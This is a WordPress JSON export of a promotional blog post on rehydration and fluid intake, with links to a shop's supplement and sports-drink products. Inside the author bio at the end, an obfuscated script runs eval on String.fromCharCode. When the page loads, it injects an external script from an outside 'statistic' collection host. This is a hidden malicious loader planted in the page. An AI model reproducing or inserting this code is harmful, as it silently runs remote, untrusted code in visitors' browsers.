{"id":7987,"date":"2021-09-20T11:03:34","date_gmt":"2021-09-20T08:03:34","guid":{"rendered":"https:\/\/healthymotivate.com\/?p=7987"},"modified":"2021-09-20T11:13:00","modified_gmt":"2021-09-20T08:13:00","slug":"how-to-rehydrate-quickly-creative-ways-to-up-your-fluid-intake","status":"publish","type":"post","link":"https:\/\/healthymotivate.com\/en\/how-to-rehydrate-quickly-creative-ways-to-up-your-fluid-intake\/","title":{"rendered":"How to Rehydrate Quickly: Creative Ways to Up Your Fluid Intake"},"content":{"rendered":"<p><strong>The Importance of Staying Hydrated<\/strong><\/p>\n<p>Water is vital for the proper function of virtually every cell, tissue, and organ in the body. Here are a few reasons why hydration is so essential:<\/p>\n<ul>\n<li>Water is needed for\u00a0<a href=\"https:\/\/healthymotivate.com\/en\/katastima\/basic-nutrition-products\/suplements\/aloe-concentrate-original-473-ml\/\">proper digestion <\/a>and delivery of nutrients to your cells.<\/li>\n<li>It helps regulate your body temperature.<\/li>\n<li>Water also acts as a \u201cshock absorber\u201d for the brain and spinal cord, and it lubricates joints, organs, and tissues.<\/li>\n<li>Water helps maintain healthy mucous membranes and is a key component of lymphatic fluid, thus\u00a0<a href=\"https:\/\/healthymotivate.com\/en\/katastima\/basic-nutrition-products\/suplements\/immune-booster\/\">supporting the health of your immune system<\/a>.<\/li>\n<li>Adequate water intake may even help you manage your weight.<\/li>\n<\/ul>\n<p><strong>Dehydration Signs and Symptoms<\/strong><\/p>\n<p>When you\u2019re not properly hydrated, your body sounds an alarm that shows itself first as thirst and dry mouth. Signs that you may not be taking in enough fluids might also include:<\/p>\n<ul>\n<li>Dark urine<\/li>\n<li>Constipation<\/li>\n<li>Bad breath<\/li>\n<li>Muscle fatigue<\/li>\n<li>Headaches<\/li>\n<\/ul>\n<p>By the time your thirst mechanism kicks in, you\u2019re already fairly dehydrated, so it\u2019s important to stay on top of your fluid intake during the day. It\u2019s also critical to make sure infants and small children get enough fluids as well \u2013 a\u00a0<a href=\"https:\/\/link.springer.com\/article\/10.1007\/s00394-018-1869-9\">recent meta-analysis<\/a>\u00a0indicated that children globally are not consuming enough water to be adequately hydrated.<\/p>\n<p>Dehydration can result from simply not drinking enough fluids during the day, but other circumstances can contribute. If you\u2019ve had diarrhea or vomiting, or if you\u2019re running a fever, you need extra fluids.<\/p>\n<p>When you\u2019re exercising, it\u2019s important to keep your fluid intake up not only during activity but also to make sure that you adequately replace fluid losses once you\u2019ve finished. Some athletes make a habit of weighing themselves before and after activity to see how much fluid needs replacing. For every pound of weight that\u2019s lost during activity, you need to drink about 2-3 cups of liquid to replace fluid losses.<\/p>\n<p><strong>When You May Need More Than Water<\/strong><\/p>\n<p>If you are working out intensely, or for longer than 30 minutes or so, or working out in a hot or humid environment, you may need to supply your body with more than just plain water \u2013 both during and after exercise.<\/p>\n<p>When you sweat, you not only lose water but important minerals \u2013 like sodium, chloride, and potassium \u2013 that need to be replaced. These body salts, often called electrolytes, participate in many body processes but are especially important for the proper function of your nerves, muscles, heart, and brain.<\/p>\n<p><a href=\"https:\/\/healthymotivate.com\/en\/katastima\/sports-nutrition-herbalife-24\/hydrate-orange-20-stick-packs\/\">Electrolytes<\/a> can be replaced with specially designed sports drinks that provide not only fluid but the right balance of electrolytes that have been lost through perspiration. Some even provide some carbohydrates, which can be a source of energy during exercise. Another plus to\u00a0<a href=\"https:\/\/healthymotivate.com\/en\/product-category\/sports-nutrition-herbalife-24\/\">sports drinks<\/a>\u00a0is that they usually have a mild and slightly sweet taste that can encourage you to drink more.<\/p>\n<p><strong>Creative Ways to Up Your Fluid Intake<\/strong><\/p>\n<p>We all know we should drink water, but we don\u2019t always set ourselves up for success. Here are some ideas to encourage daily hydration:<\/p>\n<ul>\n<li>Start your day with a big glass of water before your coffee or tea \u2013 you\u2019ll create a good habit that can last a lifetime.<\/li>\n<li>Review the situation at work. If you tend to spend a lot of time at your desk, set a pitcher of water on your desk each morning. It will serve as a reminder to drink more, and you\u2019ll be motivated to sip on it as the day goes by \u2013 and meet your goal of finishing it.<\/li>\n<li>If you\u2019re on your feet or in the field, make sure you have convenient access to water (or bring a water bottle with you).<\/li>\n<li>Set a timer or use an app for your smartphone or smartwatch that can help remind you to drink more water as you go about your day.<\/li>\n<li>Make it interesting: add in citrus, herbs, fruit, or a splash of juice to amp up the taste; go for a bubbly, unsweetened option; have some\u00a0<a href=\"https:\/\/healthymotivate.com\/en\/katastima\/basic-nutrition-products\/energy-drinks-en\/energy-drinks\/instant-herbal-beverage-lemon-50-g\/\">tea with lemon<\/a>; keep a pitcher in the fridge for a nice icy blast on a warm day.<\/li>\n<li>Include more watery fruits in your diet \u2013 all fruits and veggies are good, but especially melons, leafy greens, and cucumbers.<\/li>\n<li>Consider having soups before meals; they can help hydrate you and make your meal more filling.<\/li>\n<\/ul>\n<p><strong>How Much Water Should You Drink Per Day?<\/strong><\/p>\n<p>Your age, size, gender, and physical activity level will help determine your water needs, as does the climate. As a general rule, according to the\u00a0<a href=\"https:\/\/www.hsph.harvard.edu\/nutritionsource\/healthy-drinks-full-story\/\">Institutes of Medicine<\/a>, the recommended daily fluid intake is about 11 cups for adult women and 15 cups for men. That sounds like a lot, but not all of it needs to come from beverages alone.<\/p>\n<p>About 70-80 percent should be provided by beverages \u2013 and at least half of that from water, with lesser contributions from\u00a0<a href=\"https:\/\/healthymotivate.com\/en\/product-category\/basic-nutrition-products\/energy-drinks-en\/energy-drinks\/\">tea<\/a>,\u00a0<a href=\"https:\/\/healthymotivate.com\/katastima\/proionta-vasiki-diatrofis\/ygeina-snak\/high-protein-iced-coffee-mocha-322-g-2\/\">coffee<\/a>, milk, and other beverages. The remaining 20-30 percent should come from watery foods such as fruits and vegetables.<\/p>\n<p>Many people wonder if drinking caffeinated beverages such as coffee and tea counts toward hydration goals or against them. The good news: moderate amounts of caffeine will not deplete the water in your body.<\/p>\n<p>But do\u00a0watch the calories\u00a0in those fancy coffee drinks \u2013 large amounts of cream and sugar add-ins can rack up calories quickly.<\/p>\n<p><strong><a href=\"https:\/\/iamherbalifenutrition.com\/contributors\/susan-bowerman\/\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7963\" src=\"https:\/\/healthymotivate.com\/wp-content\/uploads\/2021\/09\/souzan.jpg\" alt=\"\" width=\"150\" height=\"150\" srcset=\"https:\/\/healthymotivate.com\/wp-content\/uploads\/2021\/09\/souzan.jpg 150w, https:\/\/healthymotivate.com\/wp-content\/uploads\/2021\/09\/souzan-100x100.jpg 100w\" sizes=\"(max-width: 150px) 100vw, 150px\" \/><\/a><\/strong><\/p>\n<p><strong><a href=\"https:\/\/iamherbalifenutrition.com\/contributors\/susan-bowerman\/\">Susan Bowerman\u00a0 M.S., RD, CSSD, CSOWM, FAND \u2013 Sr. Director, Worldwide Nutrition Education and Training<\/a><\/strong><\/p>\n<p>Susan Bowerman earned a B.S. in biology with distinction from the University of Colorado, and received her M.S. in food science and nutrition from Colorado State University. She is a registered dietitian, holds two board certifications from the Academy of Nutrition and Dietetics as a certified specialist in sports dietetics, and a certified specialist in obesity and weight management, and is a Fellow of the Academy.<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Importance of Staying Hydrated Water is vital for the proper function of virtually every cell, tissue, and organ in<\/p>\n","protected":false},"author":5,"featured_media":7985,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[235],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v23.5 - 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